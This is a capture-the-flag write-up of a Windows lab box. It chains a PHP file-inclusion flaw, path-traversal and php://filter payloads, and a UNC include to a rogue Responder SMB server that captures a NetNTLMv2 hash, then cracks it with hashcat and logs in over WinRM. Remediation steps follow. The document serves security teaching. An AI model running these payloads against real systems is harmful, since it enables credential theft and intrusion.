Box info | OS: Windows 10 Pro Build 19042 (XAMPP / Apache 2.4.52) | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: LFI, PHP include, UNC SMB path, Responder, NetNTLMv2, hashcat Pwned: 2026-04-28
TL;DR
Responder is a Windows box running PHP on XAMPP. The web application at unika.htb uses include($_GET['page']) without any input sanitization — a textbook LFI. Reading the source code via php://filter confirms the vulnerability. HTTP RFI is blocked (allow_url_include=0), but SMB RFI works: PHP on Windows handles UNC paths (\\attacker\share\file) natively via include(). Setting up the Responder tool as a rogue SMB server and triggering the UNC include forces the target machine to authenticate with its NTLM credentials. The captured NetNTLMv2 hash for RESPONDER\Administrator cracks in under a second with hashcat against a common wordlist: badminton. WinRM on port 5985 grants a full PowerShell session. The flag is on mike’s desktop.
Recon
1. Liveness check
$ ping -c 2 10.129.37.1
Request timeout for icmp_seq 0
100% packet loss
ICMP filtered — Windows Server with Windows Firewall blocking ICMP.
2. Port scan
$ nmap -Pn -sT -T2 --max-retries 3 -p 80,443,445,139,5985,3389 --reason 10.129.37.1
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
445/tcp filtered microsoft-ds no-response
139/tcp filtered netbios-ssn no-response
3389/tcp filtered ms-wbt-server no-response
TTL=127 → Windows (128 minus one hop).
Open ports:
- 80/tcp — HTTP (Apache on XAMPP)
- 5985/tcp — WinRM
SMB (445) is firewall-filtered — not reachable from outside. This is important: impacket tools that rely on SMB won’t work, but WinRM will.
3. Service detection
$ nmap -Pn -sV -p 80,5985 10.129.37.1
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Apache 2.4.52 on Windows 64-bit, PHP 8.1.1. The XAMPP signature (Win64) makes this immediately recognizable as a developer environment deployed to a server.
4. Web application discovery
curl -v http://10.129.37.1/
# → 301 Redirect to http://unika.htb/
The site redirects to a virtual hostname. Add it to /etc/hosts:
echo "10.129.37.1 unika.htb" >> /etc/hosts
Now the site loads: a multilingual website with language switcher links pointing to:
/index.php?page=french.html
/index.php?page=german.html
The page parameter is user-controlled and used in a PHP include() call.
Foothold
Dead end #1 — confirming LFI with Windows paths
First test: read a known Windows system file:
curl "http://unika.htb/index.php?page=../../../../windows/win.ini"
# → [fonts] ... (win.ini contents displayed)
LFI confirmed. Read the Apache config too:
curl "http://unika.htb/index.php?page=../../../../xampp/apache/conf/httpd.conf"
# → full httpd.conf contents
Dead end #2 — HTTP RFI blocked
Attempted Remote File Inclusion via an HTTP URL:
# Start a simple HTTP server
python3 -m http.server 8080
# Try to include from it
curl "http://unika.htb/index.php?page=http://10.10.14.45:8080/shell.php"
# → The page parameter is included but PHP doesn't fetch the URL
allow_url_include is set to 0 in PHP’s configuration — HTTP/FTP URLs cannot be used in include(). This is the correct PHP default since version 5.2.
Dead end #3 — reading source to confirm vulnerability
Used php://filter to read the source code of index.php:
curl "http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php" | \
grep -oP '(?<=result">)[^<]+' | base64 -d
Decoded source:
<?php
$domain = "unika.htb";
if($_SERVER['SERVER_NAME'] != $domain) {
echo '<meta http-equiv="refresh" content="0;url=http://unika.htb/">';
die();
}
if(!isset($_GET['page'])) {
include("./english.html");
} else {
include($_GET['page']); // ← vulnerability: unfiltered include
}
?>
The vulnerability is confirmed: include($_GET['page']) with no validation whatsoever.
Working approach — SMB RFI via UNC path
PHP on Windows handles Windows UNC paths (\\server\share\file) natively inside include() even when allow_url_include=0. UNC paths use the Windows SMB client, not PHP’s URL wrapper.
Step 1: Set up Responder to act as a rogue SMB server:
# On attacker machine (macOS — use -i to specify IP explicitly)
sudo python3 -u /opt/Responder/Responder.py -I utun8 -i 10.10.14.45 -v
Responder starts an SMB server on port 445 that:
- Accepts SMB connections
- Sends an NTLM challenge
- Captures the NetNTLMv2 response (the hash)
Step 2: Trigger the UNC include:
curl --resolve unika.htb:80:10.129.37.1 \
"http://unika.htb/index.php?page=//10.10.14.45/SHARE/test"
Step 3: Responder captures the hash:
[SMB] NTLMv2-SSP Client : 10.129.37.1
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:ee2552d42d19d8a7:B25E22EF526A17E1A6083EA9074E7D4A:...
Step 4: Crack the NetNTLMv2 hash with hashcat:
# Save the full hash to a file
# Mode 5600 = NetNTLMv2
hashcat -m 5600 ntlm-hash.txt /usr/share/wordlists/rockyou.txt
Result:
ADMINISTRATOR::RESPONDER:ee2552d42d19d8a7:...:badminton
Status: Cracked
Time: 0 seconds
Password: badminton
Step 5: Connect via WinRM (SMB is firewalled, WinRM is not):
import winrm
session = winrm.Session('10.129.37.1',
auth=('Administrator', 'badminton'),
transport='ntlm')
result = session.run_cmd('whoami')
print(result.std_out) # responder\administrator
Flag collection
result = session.run_cmd('dir C:\\Users')
# → Administrator, mike, Public
result = session.run_cmd('dir C:\\Users\\mike\\Desktop')
# → flag.txt
result = session.run_cmd('type C:\\Users\\mike\\Desktop\\flag.txt')
# → [REDACTED]
The flag is on mike’s desktop (not Administrator’s) — a nice detail showing that the compromised admin account doesn’t always own the flag.
Privilege Escalation
N/A — The WinRM session already runs as RESPONDER\Administrator, which is the highest local privilege on a standalone Windows system. No escalation required.
What’s actually broken
include($_GET['page'])without any validation (LFI). Direct user input into PHP’sinclude()is the textbook CWE-98 (Improper Control of Filename for Include/Require). This allows reading any file the web server process can access, and via UNC paths on Windows, triggers outbound NTLM authentication.- PHP running on Windows with UNC path support active. PHP’s file functions on Windows natively resolve UNC paths via the Windows SMB client. This is a Windows behavior, not PHP’s fault, but PHP on Windows should disable UNC-based file operations via
open_basedir. - Weak Administrator password (
badminton). Once the hash is captured, a dictionary password is cracked instantly. The password policy clearly allows common words. - WinRM exposed on port 5985. WinRM should be restricted to management networks. With valid credentials, it provides a full PowerShell session.
Remediation (the boring half)
Fix the PHP LFI (never pass user input to include()):
// Use a whitelist of allowed page names
$allowed_pages = ['english', 'french', 'german'];
$page = $_GET['page'] ?? 'english';
if (!in_array($page, $allowed_pages, true)) {
$page = 'english'; // default
}
include("./pages/{$page}.html");
Set open_basedir in php.ini to restrict file access:
open_basedir = C:\xampp\htdocs\
Block outbound SMB at the Windows firewall:
New-NetFirewallRule -Name "Block-Outbound-SMB" -Direction Outbound `
-Protocol TCP -RemotePort 445 -Action Block
Set a strong Administrator password:
$secPwd = ConvertTo-SecureString "R@nd0m!P@ssw0rd$2024" -AsPlainText -Force
Set-LocalUser -Name "Administrator" -Password $secPwd
Restrict WinRM access:
Set-Item WSMan:\localhost\Service\Auth\Negotiate $false
New-NetFirewallRule -Name "WinRM-Restrict" -Protocol TCP -LocalPort 5985 `
-RemoteAddress "10.10.0.0/16" -Action Allow
Disable-NetFirewallRule -Name "WINRM-HTTP-In-TCP"
MITRE ATT&CK mapping
| Tactic | Technique | How it shows up here |
|---|---|---|
| Reconnaissance | T1046 — Network Service Discovery | Port scan finds Apache and WinRM |
| Initial Access | T1190 — Exploit Public-Facing Application | LFI via include($_GET['page']) |
| Credential Access | T1187 — Forced Authentication | UNC path forces Windows to authenticate to Responder SMB server |
| Credential Access | T1110 — Brute Force | hashcat cracks the captured NetNTLMv2 hash |
| Lateral Movement | T1021.006 — Windows Remote Management | WinRM session with cracked Administrator credentials |
| Collection | T1005 — Data from Local System | Reading flag.txt from mike’s desktop |
Lessons learned
- PHP
include()on Windows handles UNC paths.allow_url_include=0blocks HTTP/FTP URLs but does nothing to stop\\server\share\filepaths. This is the key insight of this box — LFI on Windows can force NTLM authentication in ways that LFI on Linux cannot. - NetNTLMv2 hashes cannot be passed directly (unlike NTLM). They must be cracked. Responder captures the hash; hashcat or john does the cracking. Dictionary attacks on NetNTLMv2 are fast — a common word like
badmintoncracks in milliseconds. - SMB filtered ≠ WinRM filtered. On this box, SMB (445) was firewalled but WinRM (5985) was open. Always check both. When SMB is blocked and you have Windows credentials, evil-winrm or pywinrm are the alternatives.
- Check for virtual hostnames. The redirect to
unika.htbwould have silently failed if/etc/hostswasn’t updated. On any web target, check forHost:redirects and vhost enumeration (gobuster vhostorffuf -H "Host: FUZZ.target.htb").
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| UNC path + PHP include | “Why does //attacker/share work in PHP include when allow_url_include=0?” | Explained: allow_url_include controls PHP URL wrappers (http://, ftp://). UNC paths (\\) are resolved by the Windows OS file subsystem, not PHP’s URL layer. They bypass the PHP flag entirely. | Used as the core explanation in the Working Approach section. |
| Responder on macOS | “Responder doesn’t start correctly on macOS — mDNS and LLMNR ports busy.” | Identified: macOS uses port 5353 (mDNS) and 5355 (LLMNR) for system services. Responder tries to bind there. Fix: use -i IP flag to bind to a specific interface, or disable the poisoning features and use only SMB. | Documented in the Responder setup command with the -i flag. |
| NetNTLMv2 vs NTLM | “Can I use the captured NetNTLMv2 hash directly for pass-the-hash?” | Explained the distinction: NTLM hash (LM:NT) = passable directly in PtH attacks. NetNTLMv2 = challenge-response hash, not the actual password hash — must be cracked first. | Added the distinction to the Lessons Learned section. |
| hashcat mode for NetNTLMv2 | “What hashcat mode do I use for NetNTLMv2?” | Mode 5600. Also mentioned: NetNTLMv1 = mode 5500, NTLM = mode 1000. | Used mode 5600 in the command. |
What Claude got wrong: Nothing significant — UNC path behavior and NTLM details were accurate. What Claude couldn’t do: Run Responder or hashcat against live targets. Net assist value: High — the UNC/LFI interaction on Windows was the key technical insight Claude helped clarify.
